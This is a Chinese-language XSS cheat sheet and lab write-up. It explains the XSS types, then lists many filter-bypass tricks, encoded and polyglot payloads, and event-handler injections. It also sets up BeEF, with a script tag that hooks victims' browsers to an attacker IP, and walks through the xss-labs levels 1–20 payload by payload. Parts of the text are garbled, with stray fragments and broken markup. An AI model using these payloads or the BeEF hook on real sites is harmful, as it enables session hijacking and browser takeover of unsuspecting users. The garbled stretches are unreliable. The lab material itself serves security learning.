反射型:反射型XSS攻击,又称为非持久型跨站脚本攻击,它是最常见的XSS类型。漏洞产生的原因是攻击者注入的数据反映在响应上 ,一个典型的非持久型XSS包含一个带XSS攻击向量的链接,即每次攻击需要用户点击。 存储型:存储型XSS又称为持久型跨站点脚本,持久型XSS相比非持久型XSS攻击危害更大。它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。 DOM型:从效果上来说也是反射型XSS ,其通过修改页面DOM节点而形成XSS。
| XSS类型 | 存储型 | 反射型 | DOM型 |
| —- | —- | —- | —- |
| 数据存储 | 数据库 | URL | URL |
| 输出位置 | HTTP响应中 | HTTP响应中 | 动态构造的DOM节点 |
区别:
DOM型XSS 只由前端JS处理 ,然后直接输出到页面,不经过后端处理。反射型XSS 则会经过后端处理 后才输出存储型XSS 经过前后端,最终存入数据库
绕过
大小写绕过
<sCrIpt> alert ( 1 ) </ScRipt>
双写绕过
<scrSCRIPTipt> alert(1) </scrSCRIPTipt>
"" oncliconclickk="alert(1)"
绕过标签黑名单
<script x >
<script x > alert('XSS') <script y >
javascript
绕过
javas%09cript:alert()
javas%0acript:alert()
javas%0dcript:alert()
字符实体
< <
> >
= =
( (
) )
绕过magic_quotes_gpc
:针对开启了魔术引号的网站,可通过String.fromCharCode
方法将ASCII转换为字符串
# 利用String.fromCharCode方法将 alert("XSS"); 转换为
<script>
String . fromCharCode ( 97 , 108 , 101 , 114 , 116 , 40 , 34 , 88 , 83 , 83 , 34 , 41 , 59 )
</script>
绕过字符串的括号:
alert`1`
setTimeout`alert\u0028document.domain\u0029`;
绕过括号和分号
<script> onerror = alert ; throw 1337 </script>
<script> { onerror = alert } throw 1337 </script>
<script> throw onerror = alert , 'some string' , 123 , 'haha' </script>
<script> throw /a/ , Uncaught = 1 , g = alert , a = URL + 0 , onerror = eval , /1/ g + a [ 12 ]+[ 1337 ]+ a [ 13 ] </script>
<script> TypeError . prototype . name = '=/' , 0 [ onerror = eval ][ '/-alert(1)//' ] </script>
绕过空格:使用/
绕过
<img / src = '1' / onerror = alert ( 0 ) >
%0a 替换空格
%0d 替换空格
/**/ 替换空格
使用其他方式执行alert
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
prompt`${document.domain}`
document.location='java\tscript:alert(1)'
document.location='java\rscript:alert(1)'
document.location='java\tscript:alert(1)'
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
constructor.constructor("aler"+"t(3)")();
[].filter.constructor('ale'+'rt(4)')();
top["al"+"ert"](5);
top[8680439..toString(30)](7);
top[/al/.source+/ert/.source](8);
top['al\x65rt'](9);
open('java'+'script:ale'+'rt(11)');
location='javascript:ale'+'rt(12)';
setTimeout`alert\u0028document.domain\u0029`;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
使用其他字符绕过;
'te' * alert('*') * 'xt';
'te' / alert('/') / 'xt';
'te' % alert('%') % 'xt';
'te' - alert('-') - 'xt';
'te' + alert('+') + 'xt';
'te' ^ alert('^') ^ 'xt';
'te' > alert('>') > 'xt';
'te' < alert('<') < 'xt';
'te' == alert('==') == 'xt';
'te' & alert('&') & 'xt';
'te' , alert(',') , 'xt';
'te' | alert('|') | 'xt';
'te' ? alert('ifelsesh') : 'xt';
'te' in alert('in') in 'xt';
'te' instanceof alert('instanceof') instanceof 'xt';
编码URL编码
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%78%73%73%22%29%3B%3C%2F%73%63%72%69%70%74%3E
HTML编码
<a href = "javascript:alert("xss")" > xss弹窗 </a>
八进制编码
javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'
Katakana:https://github.com/aemkei/katakana.js
javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
其它特殊编码:http://aem1k.com/aurebesh.js
Payload``html
Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
HTML5
<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert
1`”>
2 out of 10
// 当手指触摸屏幕时触发
// 当手指从屏幕中移走时触发
// 当手指在屏幕中拖动时触发
万能XSS
jaVasCript:/-/ /*\
/‘/ “/*/(/ /oNcliCk=alert() )//%0D%0A%0D%0A//\x3csVg/ \x3e
“>> “ ></|>
@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>‘—>” ></script>“><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>‘“><img src="http: //i.imgur.com/P8mL8.jpg">
“ onclick=alert(1)//<button ‘ onclick=alert(1)/></button> </em>/ alert(1)//
‘;alert(String.fromCharCode(88,83,83))//‘;alert(String. fromCharCode(88,83,83))//“;alert(String.fromCharCode (88,83,83))//“;alert(String.fromCharCode(88,83,83))//— ></SCRIPT>“>’>
‘;alert(String.fromCharCode(88,83,83))//‘;alert(String. fromCharCode(88,83,83))//“;alert(String.fromCharCode (88,83,83))//“;alert(String.fromCharCode(88,83,83))//— ></SCRIPT>“>’>
‘;alert(String.fromCharCode(88,83,83))//‘;alert(String.fromCharCode(88,83,83))//“;alert(String.fromCharCode(88,83,83))//“;alert(String.fromCharCode(88,83,83))//—></SCRIPT>“>’>
“ onclick=alert(1)//<button ‘ onclick=alert(1)/></button> <em>/ alert(1)//
‘“>><marquee><img src=x onerror=confirm(1)></marquee>“></plaintext\></|><plaintext/onmouseover=prompt(1)>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>‘—>”></script>“><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id&%23x29;>‘“><img src="http://i.imgur.com/P8mL8.jpg">
javascript://‘/</title></style></textarea></script>—><p” onclick=alert()//></em>/alert()/<em>
javascript://—></script></title></style>“/</textarea></em>/<alert()/*' onclick=alert()/></alert>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()/></alert>/
javascript://</title></style></textarea>—></script><a"//' onclick=alert()/></a>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()/></b><em>/alert()/</em>
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()/></a><em>/alert()/</em>
—></script></title></style>“/</textarea><a' onclick=alert()/></a>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()/></p>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()/></p>*/alert()/*
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``></p>
<p><svg%0Ao%00nload=%09((pro\u006dpt))()//
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()/></html>
javascript:”/<em>‘/</em><code>/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*</code>/<em>‘ /</em></template></textarea></noembed></noscript></title></style></script>—><svg onload=/*<html/*/onmouseover=alert()/></svg>
javascript:<code>//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'></code></p>
<pre><code><a name="Xtz63"></a>
## 工具
<a name="SFytL"></a>
### XSSOR
- Github:[evilcos/xssor](https://github.com/evilcos/xssor)
- 在线:[http://xssor.io/](http://xssor.io/)
<a name="f81qV"></a>
### BeEF
> [BeEF(Browser Exploitation Framework)](http://beefproject.com/)是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透测试;BeEF基于Ruby语言编写,支持图形化界面,操作简单。
- 启动Apache和BeEF
```shell
# 启动Apache
# systemctl restart apache2
$ service apache2 start
$ netstat -an | grep :80 # 查看80端口
>> tcp6 0 0 :::80 :::* LISTEN
</code></pre><pre><code class="lang-shell"># BeEF可以在Kali中点击打开,账号密码均为beef
# 访问页面
[*] Web UI: http://127.0.0.1:3000/ui/panel
# 内置脚本
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
</code></pre>
<ul>
<li><p>攻击:<code>Current Browser > Commands</code></p>
<pre><code class="lang-shell">命令颜色:
绿色 对目标主机生效且不可见(不会被发现)
橙色 对目标主机生效但可能可见(可能会被发现)
灰色 对目标主机未必生效(可自行验证)
红色 对目标主机不生效
</code></pre>
<p><a name="pCvTy"></a></p>
<h2 id="alp6a"><a name="alp6a" class="reference-link"></a><span class="header-link octicon octicon-link"></span>靶场</h2></li><li><p>xss-labs原作者好像在Github上把它删了,找不到原地址了,还好之前Fork了一份。地址:<a rel="nofollow" href="https://github.com/fengsec/WebLabs/tree/master/xss-labs">https://github.com/fengsec/WebLabs/tree/master/xss-labs</a>
<a name="fS8N2"></a></p>
<h3 id="bgvlia"><a name="bgvlia" class="reference-link"></a><span class="header-link octicon octicon-link"></span>总结</h3></li><li><p>对尖括号进行闭合:标签内事件进行触发弹窗</p>
<pre><code class="lang-html">onclick='alert()' # 单击触发
ondblclick='alert()' # 双击触发
onmousemove='alert()' # 鼠标移入触发
onfocus='alert(1)' # 聚焦触发
oninput='alert()' # 输入触发
# 按键触发
onkeydown='alert()'
onkeyup='alert()'
onkeypress='alert()‘
</code></pre>
</li><li><p>过滤判断</p>
<pre><code class="lang-html">#'
#"
(#)
<#>
<sCrIpt>
<oNerOr>
#:
alert
hReF
jaVaScript
</code></pre>
</li><li><p>过滤<code>javascript</code>:使用JS变换绕过,这里<strong>必须在浏览器直接执行</strong>(利用空白符如水平制表符HT,换行符LF,回车键CR来截断关键字)</p>
<pre><code class="lang-html">?keyword=javas%09cript:alert()
?keyword=javas%0acript:alert()
?keyword=javas%0dcript:alert()
</code></pre>
<p><a name="CURvm"></a></p>
<h3 id="c7yiv5"><a name="c7yiv5" class="reference-link"></a><span class="header-link octicon octicon-link"></span>level 1</h3></li><li><p>URL中在<code>name</code>后插入Payload</p>
<pre><code class="lang-html">?name=</h2><script>alert(1)</script>
</code></pre>
<p><a name="ZYdgb"></a></p>
<h3 id="32igjp"><a name="32igjp" class="reference-link"></a><span class="header-link octicon octicon-link"></span>level 2</h3></li><li><p>先使用双引号<code>"</code>闭合字符串,再使用<code></h2></code>闭合标签,最后插入Payload</p>
<pre><code class="lang-html">123"</h2><script>alert(1)</script>
</code></pre>
<p><a name="wgG3R"></a></p>
<h3 id="df6hqn"><a name="df6hqn" class="reference-link"></a><span class="header-link octicon octicon-link"></span>level 3</h3></li><li><p>尝试输入单双引号、括号等,发现输入单引号时上面的<code>h2</code>会把输入的字符全部输出,而下面输入框却不会。如输入以下字符,<code>h2</code>标签会输出<code>123'111</code>,而输入框只剩下<code>123</code></p>
<pre><code class="lang-html">123'111
</code></pre>
</li><li><p>所以此题输出点不在前面的<code>h2</code>标签,而是在输入框<code>input</code>标签。插入Payload点击搜索,<strong>然后点击输入框</strong></p>
<pre><code class="lang-html">123' onclick='alert(1)
</code></pre>
<p><a name="M1mSe"></a></p>
<h3 id="2czhwt"><a name="2czhwt" class="reference-link"></a><span class="header-link octicon octicon-link"></span>level 4</h3></li><li><p>和上一题差不多,只是此处换成了双引号<code>"</code>闭合。插入Payload后点击搜索,然后点击输入框</p>
<pre><code class="lang-html">1" onclick="alert(1)
</code></pre>
<p><a name="c4gQz"></a></p>
<h3 id="dnmvey"><a name="dnmvey" class="reference-link"></a><span class="header-link octicon octicon-link"></span>level 5 (javascript协议)</h3></li><li><p>和上一题一样用双引号绕过,但是过滤了<code>onclick,onmousemove</code>等常见事件,主要是把<code>on</code>替换成了<code>o_n</code>和<code><script></code>替换成<code><scr_ipt></code>。这里使用<code>a</code>标签触发<code>javascript</code>,搜索后点击超链接</p>
<pre><code class="lang-html">1"> <a href="javascript:alert(1)">
</code></pre>
<p><a name="grFTx"></a></p>
<h3 id="dfo0cx"><a name="dfo0cx" class="reference-link"></a><span class="header-link octicon octicon-link"></span>level 6 (大小写绕过)</h3></li><li><p>大小写过滤,搜索后点击超链接</p>
<pre><code class="lang-html">" ><a HrEf=javascript:alert(1)>
</code></pre>
<p><a name="rVBvj"></a></p>
<h3 id="9li587"><a name="9li587" class="reference-link"></a><span class="header-link octicon octicon-link"></span>level 7 (双写绕过)</h3></li><li><p>过滤了<code>href</code>和<code>script</code>,可以双写绕过</p>
<pre><code class="lang-html">"><a hrhrefef="javascrscriptipt:alert(1)">
</code></pre>
<p><a name="XartS"></a></p>
<h3 id="f64c0j"><a name="f64c0j" class="reference-link"></a><span class="header-link octicon octicon-link"></span>level 8 (HTML编码)</h3></li><li><p>HTML编码绕过,添加链接后点击友情链接</p>
<pre><code class="lang-html"><!-- 原语句 -->
javascript:alert(1)
<!-- 进行HTML编码 -->
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;
</code></pre>
<p><a name="oIWji"></a></p>
<h3 id="ay9dcr"><a name="ay9dcr" class="reference-link"></a><span class="header-link octicon octicon-link"></span>level 9 (JS变换)</h3></li><li><p>经过多次测试,发现如下过滤:</p>
<ul>
<li>过滤<code>javascript</code>和双引号<code>"</code>变成<code>&quot</code></li><li>输入没有<code>http://</code>时报错</li></ul>
</li><li><p>直接<code>http:</code>当作弹框值,并使用单引号<code>'</code>包裹,但是没办法绕过<code>javascript</code>,最后从网上找到了过关的方式,使用<code>JavaScript</code>变换的办法绕过,这里<strong>必须在浏览器直接执行</strong>(利用空白符如水平制表符HT,换行符LF,回车键CR来截断关键字)</p>
<pre><code class="lang-html">?keyword=javas%09cript:alert('http://')
?keyword=javas%0acript:alert('http://')
?keyword=javas%0dcript:alert('http://')
</code></pre>
<p><a name="p5BKZ"></a></p>
<h3 id="eqcagt"><a name="eqcagt" class="reference-link"></a><span class="header-link octicon octicon-link"></span>level 10 (隐藏表单)</h3></li><li><p>经过一系列尝试都无法弹窗,于是审查源码,发现有个隐藏的表单</p>
<pre><code class="lang-html"><form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
</code></pre>
</li><li><p>尝试在浏览器中访问各参数,发现只有传入<code>t_sort</code>参数时,对应的<code>value</code>值会变化</p>
<pre><code class="lang-html">level10.php?t_link=111
level10.php?t_history=111
level10.php?t_sort=111
</code></pre>
</li><li><p>这里一开始尝试使用<code>autofocus</code>和<code>onfocus</code>自动聚焦触发,但是发现有时候不能触发,或者触发了后会一直弹框而不能正常跳转到下一关</p>
<pre><code class="lang-html">level10.php?t_sort=" autofocus onfocus="alert(1);
</code></pre>
</li><li><p>后来使用<code>type</code>属性将该输入框变成<code>button</code>,覆盖掉原有的<code>hidden</code>隐藏属性,并使用<code>onclick</code>事件触发。浏览器传入如下参数后点击按钮即可</p>
<pre><code class="lang-html">level10.php?t_sort=" onclick=alert(1) type="button
</code></pre>
<p><a name="W0U6Y"></a></p>
<h3 id="28mset"><a name="28mset" class="reference-link"></a><span class="header-link octicon octicon-link"></span>level 11 (Referer)</h3></li><li><p>仍然可以传递<code>t_sort</code>,但是绕过双引号<code>"</code>无果后放弃,寻找其它注入点</p>
</li><li>发现多了一个<code>t_ref</code>,通过URL传递参数无效,后来通过<code>ModHeade</code>插件,尝试在头部添加<code>Referer</code>,发现出现Value值</li></ul>
<p><img src="https://cdn.naraku.cn/imgs/web/xss-labs-11.jpg#crop=0&crop=0&crop=1&crop=1&height=1002&id=bYxdo&originHeight=1002&originWidth=1678&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=1678" alt=""></p>
<ul>
<li><p>构造Payload提交,点击按钮后通过</p>
<pre><code class="lang-html">" onclick="alert(1)" type="button
</code></pre>
<p><a name="JXOAS"></a></p>
<h3 id="bcf1vy"><a name="bcf1vy" class="reference-link"></a><span class="header-link octicon octicon-link"></span>level 12 (UA)</h3></li><li><p>这一题根据<code>t_ua</code>参数和上一题,可以推测出此处需要修改的是<code>User-Agent</code>,同样使用上面的插件和Payload,将<code>Referer</code>修改为<code>User-Agent</code>即可</p>
<pre><code class="lang-html">" onclick="alert(1)" type="button
</code></pre>
<p><a name="22GkM"></a></p>
<h3 id="3r2qzz"><a name="3r2qzz" class="reference-link"></a><span class="header-link octicon octicon-link"></span>level 13 (Cookie)</h3></li><li><p>这题参数是<code>t_cook</code>,使用Burp修改Cookie即可,Payload如下:</p>
<pre><code class="lang-html">" onclick="alert(1)" type="button
</code></pre>
<p><a name="ZrwWi"></a></p>
<h3 id="2rim4j"><a name="2rim4j" class="reference-link"></a><span class="header-link octicon octicon-link"></span>level 14 (Exif XSS)</h3></li><li><p>引入的网站需要某些科学上网软件才能访问。但是访问发现这个网站好像有点奇奇怪怪,随便点一个标签发现全是广告,放弃</p>
</li><li>参考:<a rel="nofollow" href="https://xz.aliyun.com/t/1206#toc-12">https://xz.aliyun.com/t/1206#toc-12</a></li><li><p>另外14关下方的连接跳转有点问题,可手动访问地址:<code>/level15.php?src=1.gif</code>
<a name="NOsxv"></a></p>
<h3 id="9hfapt"><a name="9hfapt" class="reference-link"></a><span class="header-link octicon octicon-link"></span>level 15 (Angular JS)</h3></li><li><p>参考:<a rel="nofollow" href="https://xz.aliyun.com/t/1206#toc-13">https://xz.aliyun.com/t/1206#toc-13</a></p>
</li><li>AngularJS的<code>ng-include</code>指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点。</li><li><p>URL中传入以下参数,可以看到已经被包含进网页源码中</p>
<pre><code class="lang-html">level15.php?src='level1.php?test=naraku'
</code></pre>
<p><img src="https://cdn.naraku.cn/imgs/web/xss-labs-15.jpg#crop=0&crop=0&crop=1&crop=1&height=933&id=TehH6&originHeight=933&originWidth=1506&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=1506" alt=""></p>
</li><li><p>构造Pyaload</p>
<pre><code class="lang-html">level15.php?src=‘level1.php?name=<img src=x onerror=alert(1)>’
</code></pre>
<p><a name="NFweM"></a></p>
<h3 id="gi5clz"><a name="gi5clz" class="reference-link"></a><span class="header-link octicon octicon-link"></span>level 16</h3></li><li><p>此题将空格和<code>/</code>都转换成了<code>&nbsp;</code>,使用前面说到的JS变换绕过</p>
<pre><code class="lang-html">level16.php?keyword=<img%0asrc=x%0donerror=alert(1)>
</code></pre>
<p><a name="uZL8I"></a></p>
<h3 id="5m9erg"><a name="5m9erg" class="reference-link"></a><span class="header-link octicon octicon-link"></span>level 17 (Flash XSS)</h3></li><li><p>Chrome等浏览器需要打开<code>Flash</code>才能看到题目</p>
</li><li>一开始以为是Flash XSS,但是在测试过滤时,发现直接用空格即可闭合<code>src</code>属性,然后手动添加事件即可。一开始使用<code>onclick</code>事件,但是点击后跳转到一个<code>undefined</code>页面,后使用<code>onmouseover</code>事件即可</li><li><p>Payload如下,访问后将鼠标移动到图片上即可弹框</p>
<pre><code class="lang-html">level17.php?arg01=a&arg02=b onmouseover=alert(1)
</code></pre>
</li><li><p>通关后不会自动跳到18关,需点击下方超链接
<a name="IjJce"></a></p>
<h3 id="d8zyj1"><a name="d8zyj1" class="reference-link"></a><span class="header-link octicon octicon-link"></span>level 18</h3></li><li><p>同上一关一模一样的解法,有点迷惑</p>
<pre><code class="lang-html">level18.php?arg01=a&arg02=b onmouseover=alert(1)
</code></pre>
<p><a name="rRn9O"></a></p>
<h3 id="73533y"><a name="73533y" class="reference-link"></a><span class="header-link octicon octicon-link"></span>level 19-20 (Flash XSS)</h3></li><li><p>没有研究过Flash XSS,</p>
</li><li><p>参考Write Up:<a rel="nofollow" href="http://0verflow.cn/?p=1811">http://0verflow.cn/?p=1811</a>
<a name="uoxl6"></a></p>
<h2 id="3tjh68"><a name="3tjh68" class="reference-link"></a><span class="header-link octicon octicon-link"></span>参考</h2></li><li><p><a rel="nofollow" href="https://museljh.github.io/2019/04/24/xss%E5%B0%8F%E7%BB%93/">XSS小结</a></p>
</li><li><a rel="nofollow" href="https://xz.aliyun.com/t/1206">XSS挑战之旅</a></li><li><a rel="nofollow" href="http:_langzi.fun_%e8%b7%a8%e7%ab%99%e8%84%9a%e6%9c%ac%e6%94%bb%e5%87%bb-xss-level-1">跨站脚本攻击 XSS LEVEL 1</a></li></ul>